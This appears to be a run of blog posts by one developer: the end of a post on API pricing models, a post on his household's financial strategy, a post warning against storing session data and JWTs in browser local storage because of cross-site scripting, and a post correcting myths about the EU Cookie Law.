Bucket-based pricing incentivizes service providers to act poorly. Service providers are incentivized to discourage increased usage (to a point) as well as not make frequent updates and fixes to their service as they profit, to some extent, from the lack of use of their service.

Customers are also poorly incentivized when using bucket-based pricing plans. Instead of making the most out of an API service and increasing spend over time, they’re incentivized to use as little service as possible to minimize spend and maximize value.

In addition to the obvious, bucket-based pricing plans encourage customers to have a scarcity mindset which may impact the adoption of services.

Problems With Enterprise Pricing

Enterprise pricing is an entire category of pricing models that lock customers into year-long (or multi-year) agreements where prices are fixed for the duration of the agreement and renegotiated when the contract comes up for renewal.

For example, imagine you’re a web hosting company that hosts servers for your customers. An enterprise pricing model might involve you speaking with customers to negotiate prices such that a customer might pay 1M for a two-year contract which gives them the ability to run up to 100 16G RAM servers for the full two-years.

This model creates an adversarial relationship between you and the customer. You’re incentivized to charge the customer as much as possible, for as little service as possible, for as long as possible. Customers know this, and are often apprehensive about these types of deal negotiations, so they tend to only go through this process if absolutely necessary as it’s time-consuming, expensive, and generally understood to be a win-lose scenario (the service provider wins and the customer loses).

For customers, there really is no winning in an enterprise pricing scenario. Because prices are negotiable and private, this means service providers have an advantage in negotiations since their pricing isn’t publicly available. It also means that customers need to be aggressive with their negotiations not just once, but every time a contract is up for renewal. This is time-consuming and expensive for both parties.

Furthermore, enterprise pricing plans lock customers into expensive long-term agreements that limit their ability to migrate to alternative providers without incurring substantial penalties. If I sign a two-year agreement to spend 1M with Amazon and am later offered the same level of service at half the cost by Google, I’ll still be liable for paying Amazon the full value of that initial, two-year contract.

In my opinion, enterprise pricing is an absolute racket.

It’s a lot like the way ISPs price their services here in the US. I might call Comcast for internet service at my home and be quoted a discounted rate of $75/mo if I sign a two-year agreement. Then, when my contract is coming up for renewal, the price will suddenly jump to $100/mo. This means each year I’ve got to negotiate with them so my costs don’t increase substantially.

And in the case of ISPs like Comcast, what happens if I move? Let’s say I move to another address where Comcast doesn’t operate–I’m still going to be held liable for paying them for the full duration of my contract, even though I’ll be unable to use their services.

As you can see, it’s a win-lose scenario (great for Comcast, terrible for me).

Another reason I dislike enterprise pricing plans is that they generate a lot of unnecessary waste: the service provider has to hire sales reps to field customer inquiries and negotiate pricing while customers need to waste lots of time and energy going through a sales rep in order to access the service, negotiate pricing, etc.

Regardless of whether you’re a service provider or a customer trying to purchase services, the enterprise pricing model significantly complicates matters as it requires lots more time, effort, and cost to complete a sale.

In my opinion, just about any type of pricing scheme is better than the enterprise pricing model as it substantially complicates selling and purchasing products – something that is rarely necessary.

My Thoughts On API Pricing

As both a consumer and provider of API services, the only type of pricing plan I’ll use is usage-based pricing with automatic volume discounts. There are no negotiations, no misaligned incentives for either party, and nobody is being slighted.

When I’m evaluating potential API services, if they don’t have a usage-based pricing model I’ll immediately move on and look for other solutions. Other pricing models are a hard no for me as they incentivize poor behavior and put me in an adversarial position with whatever service provider I’m looking to utilize.

As a service provider, I love using usage-based pricing models as it means I can focus all my energy and effort on what I do best: running a service. It lets me focus on the quality of my service above everything else. Usage-based pricing also allows me to scale my service’s revenues without hiring a large fleet of sales reps.

As my service gets better and usage increases, I make more money. Having a usage-based pricing model with automatic volume discounts incentivizes my users to use more of my service, thereby increasing revenues while making everyone happy.

And, in addition to all the other reasons why I believe usage-based pricing is the way to go, there’s another one that isn’t as easy to quantify: it just makes sense.

API services exist to allow developers to outsource bits and pieces of their application logic. In my mind, API services are essentially the utility companies of the web.

And if you think of API services as utility companies, it only makes sense that they should charge based on usage. After all, imagine what would happen if you had to sign a two-year contract stipulating how much electricity you’re going to use at home, or if you had to choose a bucket plan for electricity that forced you to purchase a set amount of kilowatt-hours of electricity.

I’m confident that in either scenario you would be upset because you’d almost certainly be paying for more electricity than you used.

With all that said, if you’re thinking about how you should be pricing an API service, please consider usage-based pricing with automatic volume discounts. I believe that, more than any other pricing scheme, this will help set you and your customers up for success as well as a long, healthy business relationship.

My Personal Financial Strategy

r@rdegges.com (Randall Degges) — Fri, 17 Jan 2020 00:00:00 -0800

I’ve always been fascinated by money: how people earn it, spend it, and invest it. What fascinates me most about personal finance is how personal it is. Everyone has different goals and desires, and everyone has to pick and choose what to do with the limited resources they have.

When I turned 24 (I’m 31 today at the time of me writing this) I took a serious look at my finances and decided to get my act together. Up until that point I had only a vague idea that I wanted to have a lot of money someday, but I had no real strategy or plan and had essentially no knowledge whatsoever about managing finances. Since then I’ve read a number of books, blogs, and articles as well as listened to thousands of podcast episodes and watched hundreds of YouTube videos on the subject.

Today I’m going to outline the personal financial strategy that my wife and I follow in hopes that it inspires you to give a bit more thought and consideration to your own personal financial strategy. I’m not saying our approach is perfect (it certainly isn’t), but I believe sharing information like this can be motivating and educational.

For the sake of transparency, everything I’ve outlined below is exactly what we do with our money. We have a substantial amount of money invested exactly as described and allocated below.

Financial Goals

The most important part of building a personal financial strategy is deciding what your goals are.

If your goal is to have 10 million dollars, that’s fine – but it means that you’re going to have to make dramatically different day-to-day decisions than you would if your goal is to save 100k.

Regardless of your circumstances, coming up with an explicit goal is, without question, the most important thing you’ll ever do financially. I can’t overstate this enough.

If you have an explicit financial goal (e.g., save 100k over the next year), you can easily figure out what you need to do to hit it (e.g., save 8.3k per month). After that, all you need to do is execute the plan! It may not be easy, but at least you’ll have something to work towards and a crystal clear idea of whether or not you’re on track.

My financial goals over the years have fluctuated quite a lot.

When I first left university, my goal was to pay off my student loans
When I first bought a car, my goal was to pay off my car loan
When I decided to get married, my goal was to pay for the ring and wedding
When I moved into my first apartment, my goal was not to live paycheck to paycheck any longer
When I started working my first real job, my goal was to put a certain amount of money into retirement
When I bought my first house, my goal was to pay it off
Etc.

As my wife and I have learned more and become more sophisticated in managing our finances, our goals have changed considerably.

Today, our financial goals are quite a bit different:

Save 100% of our earned income (the money that my wife and I earn from our day jobs)
Max out all retirement accounts
Save enough so we can passively withdraw up to 10x our lifestyle expenses each year

We’ve been fortunate enough to be able to accomplish items #1 and #2 for several years now and are steadily working towards #3.

I’ve found that, in particular, setting goals around your total debt (how much money you owe to other people), savings rate (what percentage of money are you able to save from your income each year), net worth (how much are you worth taking all of your assets and liabilities into account), and safe withdrawal rate (how much money can you safely withdraw from your portfolio every year without dwindling your principal) are very motivating.

For example, if you’re just starting to pay attention to your finances and have some debt, a good first goal might be to reduce your debt from 100k to 50k. If you’re past that phase of life, maybe a good goal would be to save 15% of your take-home pay.

If you’re further along in your savings journey, setting goals around your net worth (e.g., I want to increase my net worth by 50k) or your safe withdrawal rate (e.g., I want to be able to safely withdraw 1k per month from my investments, indefinitely) can be fun as well.

The farther along you are and the more money you’ve saved, the more interesting your goals become.

Financial Priorities

Once your goals are in place, you have to organize them by priority. This is my favorite part!

Here’s what my list of financial priorities looks like, in order of importance:

Create and stick to a realistic monthly budget
Pay off all consumer debt (cars, etc.)
Pay off all non-consumer, non-mortgage debt (student loans, medical expenses, etc.)
Save an emergency fund of 1 year’s worth of expenses
Pay off all mortgage debt (primary residence)
Invest as much income as possible, split equally between real estate and index funds (more on this later)

As you can probably tell from the list above, we’re pretty conservative with money. I really hate having debt, so my priority has almost always been to be free and clear of all debt, even if that meant investing less money and having less liquid assets.

If you’re less conservative with your money choices, maybe you wouldn’t mind keeping mortgage debt around, for example. Maybe you would instead prefer to invest the extra money you have instead of paying down a mortgage. These types of choices are all fine, there is no right or wrong way to do it; it really just comes down to your values: what do you care about most?

One tip I have for figuring out how to prioritize your financial goals is this: try to diversify your risk. In my professional career, I’ve taken a lot of risks: running my own companies, working at startups, and putting myself into very volatile positions that are high-risk, high-reward. Because of this, I’ve strategically decided to be conservative with my money to balance my overall risk portfolio.

If you’re in a less risky career path, maybe you can afford to be more aggressive with your financial plans: keep debt around longer, focus more on high-growth investments, etc.

Budget

After setting goals, having a budget is the next most important thing in a financial plan. If you don’t know how much money you’re spending and set some guidelines around how much you’re going to spend, you’re in trouble.

If you don’t track your money already, I highly recommend signing up for a free account at mint. It lets you sync all of your financial information across bank accounts, loan accounts, credit card accounts, etc., as well as build budgets and see how you’re doing. I use it almost every day.

Here’s what our monthly budget looks like today:

There are two additional things that aren’t included in this image: the amount we spend on taxes and insurance for our home and a bit of money we set aside each month for future home upgrades/repairs. All together, our monthly budget allocates $4,000 for spending.

While I don’t think we’ve ever hit exactly the 4k mark, we’re always somewhere near this number: a little lower or a little higher, depending on how each month goes. Last month, for example, we spent a little more on shopping as my wife and I purchased gifts around the holiday. Next month we’ll spend a little less on shopping to make up for it.

The most important thing is knowing where your money is going and making conscious decisions about what you value and where you want to allocate your resources. Not paying attention to what you do with your money is the number one reason people don’t reach their financial goals.

Side Story: When I first left university and got married, my wife and I didn’t really track our spending. After the first year or two of marriage we had paid off all our debt (which was mostly my car and student loans), but once the debt was gone, neither of us talked about budgeting or what we wanted to do with our money. We basically just lived our lives without thinking about money.

After a couple of years of this I remember logging into mint and looking at our net worth. Over a timespan of 2 or so years, our net worth hadn’t gone up at all. It had essentially stayed around the ~10k range.

At first, I was really confused. Both of us were working full-time and earning reasonable amounts of money for young people fresh out of school – why didn’t we have more money? After digging into where the money went (thanks mint!), I came to the scary realization that because we hadn’t planned what we wanted to do with our money: we ended up blowing it on insignificant things.

We hadn’t spent a lot of money on any one thing – it was a combination of small things that got us. Going out for too many fancy dinners, buying a few too many new electronics, purchasing more gifts for our friends and family, etc.

What I learned that day scared me: we had worked ~2 full years of our life (in our prime!) and had literally nothing to show for it. All that hard work had gone to purchase frivolous stuff that we couldn’t even remember!

This was the moment that really made me understand how important it is to have a plan for your money. The thought of going to work every day, pushing myself to be my best, and pouring my heart and soul into my passion, all while essentially getting no reward was terrifying.

Debt (Or a Lack Thereof)

I mentioned this above, but I really dislike having debt. I really enjoy the freedom that comes with not having to worry about making payments to someone else every month. Keeping my recurring monthly expenses low makes me feel stress-free, and that’s something I value highly.

Early on in my life, I made a lot of dumb financial decisions. I took on a massive amount of student loan debt, purchased a new car with financing, and routinely spent all (or almost all) of my income every month, frivolously.

When I first started tracking my finances and net worth and saw how low my net worth was (-100k or so), I immediately got serious about paying off my debt. I spent the first few years of my professional life living frugally and putting as much money towards my debt as possible.

It was really motivating for me to knock off my smaller student loans (5k here, 7k there), and watch my monthly commitments drop down to zero.

A few years ago, when Sami and I decided to purchase a house for the first time, the biggest driving force I had was to stop shelling out money in rent every month, as every year our rent would increase and our monthly commitments would grow.

Initially, we purchased our home on a 30-year fixed mortgage, as I figured that way I’d be able to lock in a monthly housing payment every month. My thought process at the time was that it was better to have a fixed housing payment as opposed to a variable amount of rent. Our plan at the time was to make the minimum monthly payments for 30 years and invest all our spare money each month.

Unfortunately, it wasn’t long after we purchased the house that I realized we had made a mistake: the thought of having a large mortgage payment every month for the next 30 years made me feel really stressed, so we decided to allocate our resources towards paying it off instead. It was a hard decision, but just before the 2-year mark of owning our home we made the final payment and wiped the mortgage out of our lives.

NOTE: Leading up to us paying our home off, we sold a car, cut back on spending, tightened our budget up, and poured huge amounts of money into paying down the home loan as quickly as possible. I realize this isn’t possible for everyone, but the concepts are still relevant, even if it takes you longer to make it happen.

While many people keep a mortgage for as long as possible and invest their spare cash, I find it more rewarding (and less risky) to pay off the debt, even if it’s at a relatively low, fixed rate. For me, the benefits of not having any payments greatly outweighs the drawbacks of having reduced liquidity and more invested assets.

Regardless of your stance on debt, figuring out what types (and the amount) of debt you’re comfortable with is an important step in developing a financial plan. If you’re on the fence about whether or not to buy a car and take out a big loan, for example, thinking through how comfortable you are incurring increased monthly commitments is a great way to align yourself with your goals.

Investing

I started investing when I turned 24 and started paying closer attention to my personal finances. When I first got started, I had no idea what I was doing, but through lots of books, podcasts, online blogs, forums, and YouTube videos, I slowly developed the investing strategy that my wife and I follow today.

Our strategy today is simple: we split our investable money into two asset classes: real estate and index funds. Our goal is to invest in each of these asset classes equally, but for reasons I’ll explain momentarily, we haven’t yet been able to achieve that.

NOTE: If you aren’t familiar with the concept of index funds, I’ll explain it briefly: index funds are funds which allow you to purchase a little bit of every company in a given index. For example, you can buy a little bit of every company in the US stock market. Index fund investing has been shown to outperform more expensive, actively managed funds, in almost every scenario. If you’d like to learn more, this article is a great, brief introduction.

Out of the 50% of our money that is invested in index funds, our allocation is as follows:

70% VTSAX (total stock market index fund, USA)
25% VTIAX (total stock market index fund, international)
5% VCADX (California tax-exempt municipal bond index fund)

The above allocation is quite aggressive: 95% of our allocation here goes towards stock funds (which are generally volatile) while only 5% of our money is allocated towards relatively safe, lower-yielding municipal bonds.

We’ve got 70% allocated towards the US stock market because that’s where we live, and historically, the US stock market has averaged a relatively high rate of growth. We’ve got 25% allocated towards the international markets to help reduce volatility in our US stock portfolio, as well as to capture growth in non-US markets. Finally, we’ve got 5% of our money in tax-exempt California bonds because we live in California, are in a relatively high tax bracket, and want to invest a little of our money in the state where we live and grew up.

We don’t have any money allocated towards alternative investments like precious metals as those items are purely speculative. I am of the opinion that investing in assets that produce value (companies, loans, etc.) will, in the long run, pay off more than simply hoping that someone else values a piece of metal more in a few years than they do now.

We also don’t have any money invested in single stocks as that’s a bit too risky for our tastes. I dislike the thought of having a large amount of money tied up in any single company – what happens if that company makes poor decisions or has a massive problem (like Boeing with their 737 MAX 8)? Having our money bound to a single company’s future is far too risky for us.

In regards to real estate, we own a small portfolio of single-family houses that we rent out via a property management company. These houses are all fully-owned (they have no mortgages). They provide a steady stream of rent payments and provide a base-level of passive income that my wife and I use to cover our living expenses each month.

One of the reasons we try to split our investments between index funds and real estate is that, while owning index funds is generally going to make more money in the long run (and is also far simpler and less time consuming), I enjoy the real estate industry as well as the stability that comes with it.

While stock values might swing wildly from day to day, a tenant’s rental agreement will rarely change. In our case, the homes we own provide a reliable source of consistent income that gives us a certain level of comfort.

In addition to the consistency of real estate returns, one of the other reasons we put money into physical real estate is that, as an investor, you can often find good deals on real estate purchases. While it’s essentially impossible to find a good deal on a company’s stock, there are tons of great bargains to be had in the real estate market at any given time.

For various reasons, real estate can be an attractive investment:

You can often pay less for a property than it is worth
You can purchase a property in poor condition, fix it up, and add value to it that wasn’t there before
You can purchase real estate that isn’t performing well and make it perform better through renovations, improved management, etc.
There are various tax advantages to owning real estate which don’t exist for other types of investments

In all of these scenarios, you’re able to improve your returns by putting in some effort – something that’s essentially impossible to do with stock market investments.

Unfortunately, however, because purchasing real estate takes a lot of knowledge, effort, and time: it’s been difficult to balance our portfolio towards our desired 50/50 ratio. The way we’re handling this at the moment is to simply keep investing excess money in index funds until we find suitable properties to purchase, at which point we’ll simply liquidate some of our holdings and make a purchase, thereby getting us closer to the 50/50 ratio we’re aiming for.

Retirement

While I’ve already shared our specific financial strategies, one thing I haven’t yet covered is how we optimize our retirement investing. In the US, there are several ways you can invest money in tax-advantaged accounts.

FIrst of all, let’s talk about IRAs (individual retirement accounts). In 2020 (the year I’m writing this article), you’re allowed to contribute up to 6k per year into a Roth IRA account (7k if you’re 50 or older). Money invested in a Roth IRA account will grow tax-free, and whenever you retire, that money can be withdrawn from the account tax-free as well.

To take advantage of the Roth IRA, every year towards the end of the year we set aside 12k so that on January 1st we can each contribute 6k to a traditional IRA account, which we later convert into a Roth IRA to bypass the income qualification limits. This is known as the backdoor Roth. This gives us 12k per year of tax-advantaged investments.

Next, there’s the 401k. 401k plans allow you to stock away up to 57k worth of money for retirement each year (63.5k if you’re 50 or older) with various types of tax advantages.

Because my wife and I are both full-time employees of companies, and because our companies have 401k plans that allow us to contribute to all the different types of 401k accounts, we max our 401ks out each year by first contributing 19.5k each to our traditional 401k accounts (the max limit in 2020 for people less than 50 years old). After that, we contribute the remaining 37.5k into an after-tax 401k account (which does not have any tax advantages), which we then instantly convert into a Roth 401k account (which means that our money will grow tax-free and we’ll be able to withdraw it tax-free when we retire). This strategy is often referred to as the Mega Backdoor Roth.

This gives us 114k per year of tax-advantaged investments.

I also own a consulting business where I occasionally do consulting work around the telephony, web security, and developer services industries. Because I run this company as a business, I’m also able to invest a portion of my net profits into a SEP-IRA (a special type of retirement account for small businesses). This plan allows me to stock away an additional 57k worth of tax-advantaged money each year.

All in all, we’re able to make a total of $183,000 worth of tax-advantaged contributions each year into our retirement accounts. That is a massive amount of tax-optimized investments.

And while you may not have a ton of money to throw into retirement accounts, I strongly suggest that with whatever earned income you do have available to save, you invest it into tax-advantaged retirement accounts before you do any additional (non-retirement) investing.

By prioritizing tax-advantaged retirement accounts you’ll reduce your tax burden each year and get more out of your investments in the long run.

Resource Allocation

The last thing I want to discuss about my personal financial strategy is resource allocation. Nobody has unlimited resources. Even Jeff Bezos and Bill Gates have to decide where to allocate their time and money.

One of the most impactful things you can do to help get your finances in order is to determine what’s important to you, then invest in that. For example, if your passion in life is biking, maybe allocating a large chunk of your take-home pay for biking gear makes sense. While it would be silly for me to spend a large chunk of my take-home pay on biking gear, if it’s something important to you, that money isn’t being wasted.

In my case, I spend a lot of money on technology. I’m a programmer and am completely obsessed with technology, so while I spend almost no money on other hobbies or projects, I do end up purchasing one or two new devices every year to play around with. I also spend a lot of money on hobby software projects: domains, web hosting, etc. These things keep me happy and are what I save money for.

Investing shouldn’t be the goal, it should simply be a means to an end. Investing allows you to do more of the things you value.

My Financial Strategy Summarized

If I had to summarize my personal financial strategy, it would be:

Work hard
Don’t go into debt
Save and invest as much money as possible
But don’t be afraid to spend money on the things you care about most

Anyhow, I hope this has been interesting to you. Managing your finances can be fun, and in many ways liberating.

Putting together a financial plan for yourself can be a great way to force tough conversations and help you figure out what it is you value. I know that for me, learning a bit about personal finance changed my life dramatically for the better. If you haven’t sat down and developed a personal financial plan – go do it!

Please Stop Using Local Storage

r@rdegges.com (Randall Degges) — Fri, 26 Jan 2018 00:00:00 -0800

Seriously. Just stop it already.

I don’t know what it is, exactly, that drives so many developers to store session information in local storage, but whatever the reason: the practice needs to die out. Things are getting completely out of hand.

Almost every day I stumble across a new website storing sensitive user information in local storage and it bothers me to know that so many developers are opening themselves up to catastrophic security issues by doing so.

Let’s have a heart-to-heart and talk about local storage and why you should stop using it to store session data.

What is Local Storage?

I’m sorry if I was a bit grumpy earlier. You don’t deserve that! Heck, you might not even be familiar with what local storage is, let alone be using it to store your session information!

Let’s start with the basics: local storage is a new feature of HTML5 that basically allows you (a web developer) to store any information you want in your user’s browser using JavaScript. Simple, right?

In practice, local storage is just one big old JavaScript object that you can attach data to (or remove data from). Here’s an example of some JavaScript code that stores some of my personal info in local storage, echoes it back to me, and then (optionally) removes it:

// You can store data in local storage using either syntax
localStorage.userName = "rdegges";
localStorage.setItem("favoriteColor", "black");

// Once data is in localStorage, it'll stay there forever until it is
// explicitly removed
alert(localStorage.userName + " really likes the color " + localStorage.favoriteColor + ".");

// Removing data from local storage is also pretty easy. Uncomment the lines
// below to destroy the entries
//localStorage.removeItem("userName");
//localStorage.removeItem("favoriteColor");

If you run the JavaScript code above in your browser on a test HTML page, you’ll see the phrase “rdegges really likes the color black.” in an alert message. If you then open up your developer tools, you’ll be able to see the that both the userName and favoriteColor variables are both stored in local storage in your browser:

Now you might be wondering if there’s some way to use local storage so that the data you store is automatically deleted at some point and you don’t need to manually delete every single variable you put in there. Luckily, the HTML5 working group (shout out!) has your back. They added something called sessionStorage to HTML5 which works exactly the same as local storage except that all data it stores is automatically deleted when the user closes their browser tab.

What’s Cool About Local Storage?

Now that we’re on the same page about what local storage is, let’s talk about what makes it cool! Even though the whole point of this article is to dissuade you from using local storage to store session data, local storage still has some interesting properties.

For one thing: it’s pure JavaScript! One of the annoying things about cookies (the only real alternative to local storage) is that they need to be created by a web server. Boo! Web servers are boring and complex and hard to work with.

If you’re building a static site (like a single page app, for instance), using something like local storage means your web pages can run independently of any web server. They don’t need any backend language or logic to store data in the browser: they can just do it as they please.

This is a pretty powerful concept and one of the main reasons that local storage is such a hit with developers.

Another neat thing about local storage is that it doesn’t have as many size constraints as cookies. Local storage provides at least 5MB of data storage across all major web browsers, which is a heck of a lot more than the 4KB (maximum size) that you can store in a cookie.

This makes local storage particularly useful if you want to cache some application data in the browser for later usage. Since 4KB (the cookie max size) isn’t a lot, local storage is one of your only real alternative options.

What Sucks About Local Storage

OK. We talked about the good, now let’s spend a minute (or two!) talking about the bad.

Local storage is soooo basic. WHEW. I feel better already getting that off my chest. Local storage is just an incredibly basic, simple API.

I feel like most developers don’t realize just how basic local storage actually is:

It can only store string data. Boo. This makes it pretty useless for storing data that’s even slightly more complex than a simple string. And sure, you could serialize everything including data types into local storage, but that’s an ugly hack.
It is synchronous. This means each local storage operation you run will be one-at-a-time. For complex applications this is a big no-no as it’ll slow down your app’s runtime.
It can’t be used by web workers =/ This means that if you want to build an application that takes advantage of background processing for performance, chrome extensions, things like that: you can’t use local storage at all since it isn’t available to the web workers.
It still limits the size of data you can store (~5MB across all major browsers). This is a fairly low limit for people building apps that are data intensive or need to function offline.
Any JavaScript code on your page can access local storage: it has no data protection whatsoever. This is the big one for security reasons (as well as my number one pet peeve in recent years).

To keep it short, here’s the only situation in which you should use local storage: when you need to store some publicly available information that is not at all sensitive, doesn’t need to be used in a high performance app, isn’t larger than 5MB, and consists of purely string data.

If the app you’re using doesn’t fit the above description: don’t use local storage. Use something else (more on this later).

Why Local Storage is Insecure and You Shouldn’t Use it to Store Sensitive Data

Here’s the deal: most of the bad things about local storage aren’t all that important. You can still get away with using it but you’ll just have a slightly slower app and minor developer annoyance. But security is different. The security model of local storage IS really important to know and understand, since it will dramatically affect your website in ways you may not realize.

And the thing about local storage is that it is not secure! Not at all! Everyone who uses local storage to store sensitive information such as session data, user details, credit card info (even temporarily!) and anything else you wouldn’t want publicly posted to Facebook is doing it wrong.

Local storage wasn’t designed to be used as a secure storage mechanism in a browser. It was designed to be a simple string only key/value store that developers could use to build slightly more complex single page apps. That’s it.

What’s the most dangerous thing in the entire world? That’s right! JavaScript.

Think about it like this: when you store sensitive information in local storage, you’re essentially using the most dangerous thing in the world to store your most sensitive information in the worst vault ever created: not the best idea.

What the problem really boils down to is cross-site scripting attacks (XSS). I won’t bore you with a full explanation of XSS, but here’s the high level:

If an attacker can run JavaScript on your website, they can retrieve all the data you’ve stored in local storage and send it off to their own domain. This means anything sensitive you’ve got in local storage (like a user’s session data) can be compromised.

Now, you might be thinking “So what? My website is secure. No attacker can run JavaScript on my website.”

And that’s a reasonable point. If your website is truly secure and no attacker can run JavaScript code on your website then you are technically safe, but in reality that is incredibly hard to achieve. Let me explain.

If your website contains any third party JavaScript code included from a source outside your domain:

Links to bootstrap
Links to jQuery
Links to Vue, React, Angular, etc.
Links to any ad network code
Links to Google Analytics
Links to any tracking code

Then you are currently at risk for having an attacker run JavaScript on your website. Let’s say your website has the following script tag embedded inside it:

<script src="https://awesomejslibrary.com/minified.js"></script>

In this case, if awesomejslibrary.com is compromised and their minified.js script gets altered to:

Loop through all data in local storage
Send it to an API built to collect stolen information

… then you are completely screwed. In this situation the attacker would have easily been able to compromise anything you had stored in local storage and you would never notice. Not ideal.

As engineers, I think we’re frequently susceptible to thinking that we would never embed third party JavaScript in our websites. But in the real world, this scenario rarely plays out.

At most companies the marketing team directly manages the public website using different WYSIWYG editors and tooling. Can you really be sure that nowhere on your site are you using third party JavaScript? I’d argue “no”.

So to err on the side of caution and dramatically reduce your risk for a security incident: don’t store anything sensitive in local storage.

PSA: Don’t Store JSON Web Tokens in Local Storage

While I feel like I made myself clear that you should never ever store sensitive information in local storage in the previous section, I feel the need to specifically call out JSON Web Tokens (JWTs).

The biggest security offenders I see today are those of us who store JWTs (session data) in local storage. Many people don’t realize that JWTs are essentially the same thing as a username/password.

If an attacker can get a copy of your JWT, they can make requests to the website on your behalf and you will never know. Treat your JWTs like you would a credit card number or password: don’t ever store them in local storage.

There are thousands of tutorials, YouTube videos, and even programming classes at universities and coding bootcamps incorrectly teaching new developers to store JWTs in local storage as an authentication mechanism. THIS INFORMATION IS WRONG. If you see someone telling you to do this, run away!

What to Use Instead of Local Storage

So with all of local storage’s shortcomings, what should you use instead? Let’s explore the alternatives!

Sensitive Data

If you need to store sensitive data, you should always use a server-side session. Sensitive data includes:

User IDs
Session IDs
JWTs
Personal information
Credit card information
API keys
And anything else you wouldn’t want to publicly share on Facebook

If you need to store sensitive data, here’s how to do it:

When a user logs into your website, create a session identifier for them and store it in a cryptographically signed cookie. If you’re using a web framework, look up “how to create a user session using cookies” and follow that guide.
Make sure that whatever cookie library your web framework uses is setting the httpOnly cookie flag. This flag makes it impossible for a browser to read any cookies, which is required in order to safely use server-side sessions with cookies. Read Jeff Atwood’s article for more information. He’s the man.
Make sure that your cookie library also sets the SameSite=strict cookie flag (to prevent CSRF attacks), as well as the secure=true flag (to ensure cookies can only be set over an encrypted connection).
Each time a user makes a request to your site, use their session ID (extracted from the cookie they send to you) to retrieve their account details from either a database or a cache (depending on how large your website is)
Once you have the user’s account info pulled up and verified, feel free to pull any associated sensitive data along with it

This pattern is simple, straightforward, and most importantly: secure. And yes, you can most definitely scale up a large website using this pattern. Don’t tell me that JWTs are “stateless” and “fast” and you have to use local storage to store them: you’re wrong!

Non-String Data

If you need to store data in the browser that isn’t sensitive and isn’t purely string data, the best option for you is IndexedDB. It’s an API that lets you work with a database-esque object store in the browser.

What’s great about IndexedDB is that you can use it to store typed information: integers, floats, etc. You can also define primary keys, handle indexing, and create transactions to prevent data integrity issues.

A great tutorial for learning about (and using) IndexedDB is this Google tutorial.

Offline Data

If you need your app to run offline, your best option is to use a combination of IndexedDB (above) along with the Cache API (which is a part of Service Workers).

The Cache API allows you to cache network resources that your app needs to load.

A great tutorial for learning about (and using) the Cache API is this Google tutorial.

Please Stop Using Local Storage

Now that we’ve had a chance to talk about local storage, I hope you understand why you (probably) shouldn’t be using it.

Unless you need to store publicly available information that:

Is not at all sensitive
Doesn’t need to be used in an ultra high performance app
Isn’t larger than 5MB
Consists of purely string data

… don’t use local storage! Use the right tool for the job.

And please, please, whatever you do, do not store session information (like JSON Web Tokens) in local storage. This is a very bad idea and will open you up to an extremely wide array of attacks that could absolutely cripple your users.

Have a question? Shoot me an email.

Stay safe out there =)

NOTE: For those of you who made it this far who are wondering why I didn’t specifically call out Content Security Policy as a way to mitigate the effects of XSS, I specifically chose not to include this because it cannot help in the situation I described above. Even if you use CSP to whitelist all third party JavaScript domains, that does nothing to prevent XSS if the third party provider is compromised.

And while we’re at it: subresource integrity (while cool) is also not a global solution to this issue. For most marketing tools, ad networks, etc. (which are by far the most commonly used types of third party JavaScript), subresource integrity is almost never used as the providers of those scripts want to change them frequently so they can silently update functionality for their users.

UPDATE: I’m not the only one who thinks you should never store anything sensitive in local storage. So does OWASP:

… In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it’s recommended not to store any sensitive information in local storage.

How EU Cookie Law Myths Affect Web Security

r@rdegges.com (Randall Degges) — Sun, 21 Jan 2018 00:00:00 -0800

Over the last few years you might have noticed banners like this one popping up on a lot of web pages:

These banners are a direct result of the passage of the EU directive, sometimes known as the Cookie Law, back in 2011. The EU passed this directive to improve consumer awareness about how their data is being used by websites and give consumers the option not to participate in the data collection and tracking practices that many websites utilize.

The Cookie Law got its name because at the time a majority of the data websites collected about users was stored in cookies.

Unfortunately, there’s a lot of confusion and misinformation in the developer community around the EU Cookie Law and how it applies to web authentication, a topic that I care deeply about. =)

After all: if you need to log users into and out of your web application, you have to store session information someplace. Does this mean if you’re storing authentication information inside a cookie you need to display the EU Cookie Law banner on your website?

Today I’m going to clear up any misconceptions you might have about the law and explain exactly what you need to know to be in compliance.

The first thing we need to talk about is cookies.

As crazy as it may seem, the EU Cookie Law has absolutely nothing to do with cookies. Shocking, right?

The EU Cookie Law is about storing any data about a user that isn’t strictly necessary for the operation of your website, regardless of where that data is stored.

For instance: let’s say you’re building an online store like Amazon. Before a user can purchase goods, they are required to create an account. When a user creates their account with you, you log them in with a session cookie.

In this scenario, your website is using a cookie to do something that’s required for your website to operate, so no cookie banner is needed.

If you then decided to add a marketing tool for analytics tracking such as Google Analytics, Kissmetrics, Optimizely, etc., you would now be collecting and storing user information in a non-essential way, so you would then need to implement a cookie banner on your site to remain compliant with the EU Cookie Law.

Legally speaking, the EU Cookie Law only applies to companies and websites owned by a person or entity who resides in an EU country.

However, if your company is based in the EU or has an EU subsidiary then you are required to comply with the EU Cookie Law if your website is primarily targeted at an EU audience. This means that if you’re an EU company running a website that only serves US customers, you are exempt.

To sum it up: the EU Cookie Law only applies to you if you have a presence in the EU and your website targets EU visitors.

The biggest myth floating around the developer world right now regarding the EU Cookie Law is that if you decide to store non-essential user information in HTML local storage as opposed to cookies, then you are compliant with the EU law and don’t need to worry.

This is, of course, completely false.

Regardless of where you store user information for purposes like tracking and marketing, you are only compliant if you show a cookie banner on your website. Just because the EU Cookie Law has “cookie” in the name, it doesn’t mean that using an alternate place to store information will make you compliant!

The biggest problem I see as a developer entrenched in the security world is that many web developers are compromising their website security in massive ways through their misunderstanding of the legislation. Let me explain.

A majority of the developers I’ve spoken with over the last few years mistakenly believe that:

User authentication data (session information) falls under the EU Cookie Law for regulation
If they store session information in HTML local storage instead of cookies, they can get around the law entirely

Mixing these two pieces of misinformation together creates a dangerous recipe that has the potential to dramatically affect the security of many websites in the EU.

Here’s where the root of the problem lies: developers trying to outsmart the EU Cookie Law by storing their user’s session information in HTML local storage instead of cookies.

NOTE: My worry here is not unfounded. There are many, many websites in the EU right now that are following this pattern and are not only out-of-compliance, but are also risking major security breaches of their user’s personal information.

The problem is that HTML local storage is not a safe place to store sensitive information like a user’s session data. HTML local storage is designed to be accessible to client-side Javascript code, which puts you at risk for cross-site scripting attacks (XSS) which just so happen to be one of the most common attacks (pdf) (and one of the hardest to prevent!) across the entire internet!

In short: when handling sensitive information like user session info, you must always store that data in cookies (with the httpOnly and SameSite flags set). If you don’t, you’re opening yourself up to a massive surface area of potential attacks, all of which have the capacity to allow attackers access to your most sensitive information: user details.

